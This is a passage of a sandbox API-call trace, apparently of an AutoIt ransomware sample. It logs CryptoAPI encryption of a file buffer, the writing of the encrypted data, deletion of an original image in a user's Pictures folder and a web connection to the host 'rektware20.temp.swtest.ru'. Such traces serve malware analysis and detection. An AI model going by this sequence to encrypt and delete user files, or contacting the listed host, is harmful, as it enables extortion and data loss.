lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.306] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.306] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.306] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.306] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.306] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.306] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.306] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.306] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.307] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.307] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.307] CryptGetKeyParam (in: hKey=0x164c8b0, dwParam=0x7, pbData=0x1629340, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629340*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.307] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.307] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.307] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.307] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.307] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.308] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.308] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.308] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.308] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.308] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.308] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.308] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.310] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621648, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.310] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.310] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x16384, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x16390) returned 1 [0061.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.310] CharLowerBuffW (in: lpsz="byte[91025]", cchLength=0xb | out: lpsz="byte[91025]") returned 0xb [0061.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.314] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.314] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.314] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.315] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.315] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e6ea8*, pdwDataLen=0x130e618*=0x16384, dwBufLen=0x16390 | out: pbData=0x17e6ea8*, pdwDataLen=0x130e618*=0x16390) returned 1 [0061.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.316] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.317] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.317] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.317] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.317] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.317] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.317] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.317] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.321] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.321] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.321] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.321] WriteFile (in: hFile=0x3bc, lpBuffer=0x18933a8*, nNumberOfBytesToWrite=0x16390, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18933a8*, lpNumberOfBytesWritten=0x130f01c*=0x16390, lpOverlapped=0x0) returned 1 [0061.323] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.323] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.323] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.323] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.323] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.323] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.323] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.324] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.324] CryptDestroyKey (hKey=0x164c8b0) returned 1 [0061.324] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.324] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.324] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.324] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.324] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.324] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.324] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.324] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.324] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.324] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.324] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.324] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.324] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.325] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.325] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.325] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.325] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.325] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.325] CryptReleaseContext (hProv=0x17aa2b8, dwFlags=0x0) returned 1 [0061.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.325] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.325] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.325] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.325] CloseHandle (hObject=0x2ac) returned 1 [0061.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.327] CloseHandle (hObject=0x3bc) returned 1 [0061.329] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.329] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.331] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", lpFilePart=0x0) returned 0x52 [0061.331] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\1tudgxnjipbzfku-u\\rxm-gv.jpg")) returned 0x20 [0061.331] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0061.331] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\1tUDgxNJIpBzfKu-U\\rXm-gV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\1tudgxnjipbzfku-u\\rxm-gv.jpg")) returned 1 [0061.335] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.336] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0061.336] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.336] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.336] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.336] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.336] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\cLrToNcFTUS u7DnYu.bmp", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.336] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.336] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.336] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.336] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.336] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.337] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.337] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0061.337] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", 